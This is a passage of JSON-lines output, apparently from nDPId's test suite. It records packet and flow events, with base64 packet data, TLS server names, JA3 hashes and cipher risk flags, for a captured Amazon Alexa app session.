13ySWzAifVyF\/DP56aNnNXFMewttDnvLLszCgJdF\/ZvgK9fj2UpjYBDMa8bM="} +00424{"flow_id":92,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1580,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976098,"pkt_ts_usec":838042,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoiNpAAOcGFyg0XuiGrBAq2AG7spKfnINgmm3FmVAQf+AE1QAAAAAAAAAA"} +00739{"flow_id":89,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1585,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976099,"pkt_ts_usec":220208,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXPT9AAEAGCNWsECrYNF7ohrKPAbuIDFw1wRUUulAYAVfLTAAAFgMBAOoBAADmAwPjfQc08nicJlIWvpWTsnguVDAWVUUtWHA8jlVxZgUfkiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9CgoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACHp6AB0AFwAYOjoAAQA="} +00538{"flow_id":89,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1586,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976099,"pkt_ts_usec":286339,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9dQ5AAOcGKp80XuiGrBAq2AG7so\/BFRS6iAxdJFAYf\/g3GQAAFgMBAEoCAABGAwFY3n1j3jcPsMcAIdiIuSLM88\/OFSZtrCeaXYUsGhLw9iCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00855{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1586,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":89,"flow_packet_id":10,"flow_first_seen":1490976088937,"flow_last_seen":1490976099286,"flow_tot_l4_data_len":1058,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":105,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45711,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00492{"flow_id":89,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1587,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976099,"pkt_ts_usec":286477,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABddRBAAOcGKr00XuiGrBAq2AG7so\/BFRUPiAxdJFAYf\/h2aQAAFgMBADCdGcwOIl710sxEJNcOJTZXD3j+sWleBy0Peiv+xTQTfEXF8gc2Rm1CibUI7TEm3B8="} +00416{"flow_id":89,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1588,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976099,"pkt_ts_usec":287456,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoPUBAAEAGCcOsECrYNF7ohrKPAbuIDF0kwRUVD1AQAVdLEAAA"} +00416{"flow_id":89,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1589,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976099,"pkt_ts_usec":287756,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoPUFAAEAGCcKsECrYNF7ohrKPAbuIDF0kwRUVRFAQAVdK2wAA"} +00499{"flow_id":89,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1590,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976099,"pkt_ts_usec":288059,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjPUJAAEAGCYasECrYNF7ohrKPAbuIDF0kwRUVRFAYAVe7gAAAFAMBAAEBFgMBADCfjEPAbb36FJormBeZ\/8MCYmVtS5QtNfExD9E34Tt+s8RDj7n3ctNLzBzT29bTpD4="} +00427{"flow_id":89,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1591,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976099,"pkt_ts_usec":353168,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoeCJAAOcGJ+A0XuiGrBAq2AG7so\/BFRVEiAxdX1AQf\/fL\/wAAAAAAAAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1598,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1490976100559,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34073,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1598,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976100,"pkt_ts_usec":559988,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8EgZAAEAGAiWsECrYNu8YuoUZAbtS0XeRAAAAAKAC\/\/9pqQAAAgQFtAQCCAoA9mWXAAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1600,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1490976100811,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34074,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1600,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976100,"pkt_ts_usec":811415,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8BwBAAEAGDSusECrYNu8YuoUaAbt\/SWKxAAAAAKAC\/\/9R9gAAAgQFtAQCCAoA9mWxAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1604,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1490976100859,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41825,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1604,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976100,"pkt_ts_usec":859650,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8OO5AAEAGq6asECrYNudIWKNhAbuICV1bAAAAAKAC\/\/8AqwAAAgQFtAQCCAoA9mW1AAAAAAEDAwg="} +00446{"flow_id":84,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1605,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976100,"pkt_ts_usec":920387,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8m\/lAAEAGPiCsECrYCsl+8Z0yH5CNbMQpAAAAAKAC\/\/9yUQAAAgQFtAQCCAoA9mW8AAAAAAEDAwg="} +00429{"flow_id":102,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1606,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976100,"pkt_ts_usec":998827,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw6qtAAOcGgoo27xi6rBAq2AG7hRpDnUSYf0lisnASH\/5McwAAAgQFtAEDAwY="} +00435{"flow_id":103,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1607,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976100,"pkt_ts_usec":999093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0s4IAACcGiho250hYrBAq2AG7o2ETwX1YiAldXIAS\/\/\/2XwAAAgQFmAMDCAEEAgEB"} +00417{"flow_id":102,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1608,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976100,"pkt_ts_usec":999988,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoBwFAAEAGDT6sECrYNu8YuoUaAbt\/SWKyQ51EmVAQAVeW5AAA"} +00413{"flow_id":103,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1609,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":529,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoOO9AAEAGq7msECrYNudIWKNhAbuICV1cE8F9WVAQAVc8uQAA"} +00768{"flow_id":102,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1610,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":1170,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AMDKkaPvePiC0\/vCCABFAAErBwJAAEAGDDqsECrYNu8YuoUaAbt\/SWKyQ51EmVAYAVcVawAAFgMBAP4BAAD6AwNQLskK0EtMvl083kPSq0nopXQlOdvR+0IZKHw7KLO7aiAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LgAgWlrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACRysoAAP8BAAEAAAAALAAqAAAnbW9iaWxlYW5hbHl0aWNzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIKioAHQAXABgKCgABAA=="} +00758{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1610,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":102,"flow_packet_id":4,"flow_first_seen":1490976100811,"flow_last_seen":1490976101001,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34074,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00751{"flow_id":103,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1611,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":1872,"pkt_caplen":301,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":301,"pkt_l4_len":267,"pkt":"AMDKkaPvePiC0\/vCCABFAAEfOPBAAEAGqsGsECrYNudIWKNhAbuICV1cE8F9WVAYAVfc9gAAFgMBAPIBAADuAwN6LJpcPFiGGpu9Ln0VWrwN6uX9+Oq10gWhn0l9jMi\/ACBPSeLkXjji7rxbuBfRuYdiOn9o7tUR6tCEdV9ZFui2uAAgenrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACFmpoAAP8BAAEAAAAAIAAeAAAbczMtZXh0ZXJuYWwtMi5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIKioAHQAXABhaWgABAA=="} +00745{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1611,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":103,"flow_packet_id":4,"flow_first_seen":1490976100859,"flow_last_seen":1490976101001,"flow_tot_l4_data_len":359,"flow_min_l4_data_len":20,"flow_max_l4_data_len":267,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.231.72.88","src_port":41825,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s3-external-2.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":102,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1612,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":80368,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAonQZAANsG3Dc27xi6rBAq2AG7hRpDnUSZf0lislAQARyXHwAAAAAAAAAA"} +00423{"flow_id":102,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1613,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":99172,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAonQdAANsG3DY27xi6rBAq2AG7hRpDnUSZf0ljtVAQASyWDAAAAAAAAAAA"} +00631{"flow_id":102,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1614,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":100346,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADEnQhAANsG25k27xi6rBAq2AG7hRpDnUSZf0ljtVAYASyamAAAFgMDAGQCAABgAwNomJJTyRLdMZEQGwStnUDPt2Okhn+MHFq33qGLoWDjqiAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LsAvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDAChyA9xUSZViCGDQ+CAg5P+SmIxrL5EQPvw8f2D6svvPM\/eNbomZ3\/FO"} +00812{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1614,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":102,"flow_packet_id":7,"flow_first_seen":1490976100811,"flow_last_seen":1490976101100,"flow_tot_l4_data_len":583,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34074,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00417{"flow_id":102,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1615,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":101531,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoBwNAAEAGDTysECrYNu8YuoUaAbt\/SWO1Q51FNVAQAVuVQQAA"} +00489{"flow_id":102,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1616,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":102716,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABbBwRAAEAGDQisECrYNu8YuoUaAbt\/SWO1Q51FNVAYAVtTewAAFAMDAAEBFgMDACgAAAAAAAAAAIPLBXx6v98+bexAuiXMZSMm8L\/q1sZ\/uxD1ItJ87nj5"} +02405{"flow_id":102,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1617,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":118234,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcBwVAAEAGB4asECrYNu8YuoUaAbt\/SWPoQ51FNVAQAVuIxAAAFwMDCxgAAAAAAAAAAQGoz15XcQJRG2SAzdrL+bLJtnMt7PB3pWwLCs47A3QrPh+YoSILe106Si4fED3Lnzfl1LSZ6lEx6cwesSiqefOyrbyD\/Bw+Vq8crnv8sYoEVpqdwnPPhpFfz3P2U0m\/mk+bWojtBw8vSDbgq8i1WBDO9qbBoKJG8bq+jiePUL\/IGVeH30bToDYB+7T0J6W2sdaQrmrGrw5\/LozbUavbpYEXxfVxYRGc\/fUzQ4OdpP4BN6UPFtH6oWMYHMEPjhEbNxArXI7qFZMwFWj1kJQWB+qYyZsT7TD9+1Qf9Qf0DX7VBqnvJ\/8GXzAGiRuUOQILo0AhBPF+tsdygxxhXYaM40zQgf7kuNoWmv13UXQr4te67eb9aEfqjPVYPzJBz529JIONo8z3Ir0VTtn\/L0\/Fc0OP7wLKBN\/x8\/kLJXJomcR3nnEbj344XFcVVP9NOhZmhomg0kkvQNPitemcvGygvHz0vgx63xqpyNDEnvTqBK6Z8Tp8oFqQWd67JVq7m8VIE55bN\/eVepuQEyhNOkf3fEv\/ZWtIecXsnv18A9KHd7I8z97lMhWbRFtnLTc0QbWQ2OEFsfal\/\/9w2w3jxT6vMWRkvypTg9TYNiIjCWpShO4dX6XnTONhWQmH6TYhAsD1LClpA4Z1ZgIHpgh\/e2sZKIp2YPJNhZiCfRpL91jXWe1G77wbbi+RrWS0qbA+NuqwyUrGAxiGSIC2cPN5f0cXg1muPzKGs9rh+WWUKIU4mr1tY8H95R5DF\/saalKUuRrfg3UcfFsWJ2R0yQspC+fIEKAKRC2JIv\/XldI7fXNL51jclVVyakt5SBtHG+dNVMcr9iLGcpt48qnR7Uew8vMBQkeO2yAnOrsVlFSJTDGoxMatwwtX55H2yRprKTWEZRHSvnPYK0Ul1irpZMQAn21KmaBm35y1oT1ST3pAU0MHeXVVWrvtkBwgSWb+bkA9LGeGrlWIbt16c6G2Ee4LzEHvxqvySyBpi\/AUv5IQXmaXCvZAHvqc1BCRqWxo6fHMN4PmUEvLrXgFLMMd8taX5ErpCtD1xrOkEkcYAOBSKgNYjhQEOdR6d3gjK8934mIBCg0XMRLLFahRomxGEmseZfbj2bSj3RkBUOh+nfsG5iM4rIlaRFTLvMxJAn2AvN4+0nuA8DoCGz5onZ6brtO3gZeakypoGZWegXXgikX9xHnqmI2IY5SnDnh\/CnlLC3ekFSte20iZLU5h5UYDWtKiKLqOU+NvY8ArbBvPtWQjGLrkROhq\/l5\/nSmUts3dc8f12WCRsjrvoASK1d00O5Doz0LJTgb2Y6fZmqN3K24Ub5aS4BB0DHiD9P+Rk\/O9CGcANdJibOaU94Os+gPlU\/GujkudAqv3K3RULMw0KCgpCItGPKgAkrchf0+77gehN4jefXwZFzBlCCI8JZZ+H2izwNKT3Uu0RcSDWfGEx1LYjJejJl5c1nNq4xMLnb33mp08DjmQXuB\/TEMDawjoev0s+P4ag\/mgu3QMIlO2eYaqQN6qIW8gWZxWBA\/iYzVlRcGe4s1df1gAb\/3Mmic9vhgA\/eH7DUtXSq1QNocrZXbweWq1R1Dqkf1Lg0p575G6E2oROlzysL1GtlVv7ys2Av7lrSE6mgWtbQ7Ahd6xh4IfpBIlac0f\/y\/IMFrS4bg6Qcwq6j8emwh1StvEBzXR+P8D8DE7H+Lc2ipX1hVv9v+g854av52RCqKDeN06diHGJs94aS1uQGfnx1MTicQxATVtx8MEtDJagaevlEDyOnNBnYrfU2eBIfuTEt8Zkxks6T2w45TzRYdy\/q8pwqwciRs+YAnkWpRPLTUWJKwCJ4jU004KaKZxgitogvYi5Z1x7VLdJIdKiHaATW8hjs5XDWMxZIPKryDa+ZvF2KitH\/dFuO3neFSwBVfFah8v\/UndV4ySVvhUF0sp7tywnbA="} +02299{"flow_id":102,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1618,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976101,"pkt_ts_usec":118870,"pkt_caplen":1439,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1439,"pkt_l4_len":1405,"pkt":"AMDKkaPvePiC0\/vCCABFAAWRBwZAAEAGB9CsECrYNu8YuoUaAbt\/SWmcQ51FNVAYAVsmRwAAWPu+re8td319vpHkYRqU1n4saIiECxXkXIi8O4byzxcwU0p0b0LVrOouxDCJXgWcbmYISD1emWPcBl52ZSEHgm+avfxZByJiaP7PAWSfebQ9EeHYuxkPuUHmdrEMdfzLfmfGbRLZoERRIZNPT3Jw0Q2DPrNwsuI3b4B1z\/tBqHM8VPFLLM7aXfMEqtPbXEnN4UofQlwF94VH5d+lU1T8H4nLNomZUxNKcVgsQ61BMUmT7gceSL5G3Yoy+8qaX92nESRUfKZIkEIFC93xf4Wtag1oA+W\/\/Mf+dgE8QgUqi56il4YKVUGtvHQfchB6XasxRZUBoYiiEvDoG9pdOhl59JxK0GzxilF07gzRwOrRB\/heuUvb4xaJI5\/ZRJM64pfiwit2ef1tRIaIxKMhJZWy12iSYZDnba1zHPjiV3G4hOhV8poaLmIFLTGFQ4ukAdpqmfAyZPHRjjIEYC8hYrXrT8XGjxwxpRB5sID5tBNuXKfWGRwbC6XJEd1o0t\/SQliljfmWj+icTD5u2om6NSNtbmszHg+4O6qFPDWB8tulKzToOmd63HseyB4Hu\/d\/2IZrFhd0v\/LJqWNor5E6XkZz1pgaZ9NSPMlL+Yz3AeA7n9ZWSt2v3no5FOepOkdRzWfBo+wsmHGDK8yg3xOesQfiOv3uljlNtnrInf1U1mKWNfx9LLP0d33Rq\/HuuDFmA0Ap0H+fxik6YDAa49bB63kTUrhj4jG2awtRmir4rxbKIy9mfHtwYXIStG0z0pxvPJOLVLnGefFLM4f18i9k9A3Gc8py\/QFR9edOpkENWoZeLTw5mjxDURCBsfhKh7VyN\/oVr55\/Bz4EtPIe8dZNDvsQNAiLHiEaFCmSSd\/BKdeieLhyIG3QdxzXOGlgww9DXrVzmaay1yhMplXljyDNR1LC\/JYIkuB+VTTlpzUxqucGYRAN9iWD0Hf78pzQ1+uh1W04QYs9tu81GCBbs1ZamMysGgwLoLncMVWgI6V2g9WmXqVEWK6mtyV4codrDrsUUIDWATfwqfF5WEgPMPdo1PmPJqBfwYaOb0yBk5kmC\/ebEyRlD61YZGvspczXGLOrp2Ua+pqZGtUCZJQVwrrOtSPPjJJY+5qF5Gjf\/mqHDR2yn81wWpo+q0OmoD85S8n5RCJOTeGUKgsV1SUtzV3Iiv5Dwnrw0F4u82e2PyP8Gbgcr2Q+BiUQLmJgqRjcIYXbkHaYl0aFO4snnIl9daXEr4pozCb1fq\/qzXtykZfI3nfQqEt28MON0GGyYBdLlTPK7+l4ahmQlB3LOHWWJMfpwku7EzB1na3a8RunTFbWjc\/MwqU6jot3TAbDQav2v0urNc2P16ntLAXhfb+zQKVvZztmRH2ERNJNDCwult\/UM3JfdsWSHH6SMgcieYxIOgw850t5l4OpetvXMIH1GUmPu8G0ya9KHLDtGNctUY1gG8gdeBD3yd5XFEbMGxBCifxFddksk4WxvsQOPZN4zt8LbccM\/7NaQOTZPuHJ3PVY1SB5xOBW0tFVYYgkzvZRzgUcl8WRqG2Asj54wYgriIZov5KykuG5xvS52+MAFbomHjGCahbwnZIZhRS6ADw5bmB+hk7x0zTzYCdKJ\/oO050IM++xNfY+8KVqZBWdyHe49Pr0Zd3c94j\/hgL\/8rZnJcPUNct3F2LtWPHocxG3DL5q8xiyMTWTuVuKkpmkhGeQq+9BmxRWPCcjmKoGUSNnEYCE36VRR3LdT\/lQftEVD0b56P4iI41Fxc+IbXllXEPr5biORw\/XD7xaIMKXaDevoGuGiJp0wH4mSqE6ZcohdRAqXhs0bI+F4P+\/130zviyzdpufCVJq9uZ7tpFCSTA="} 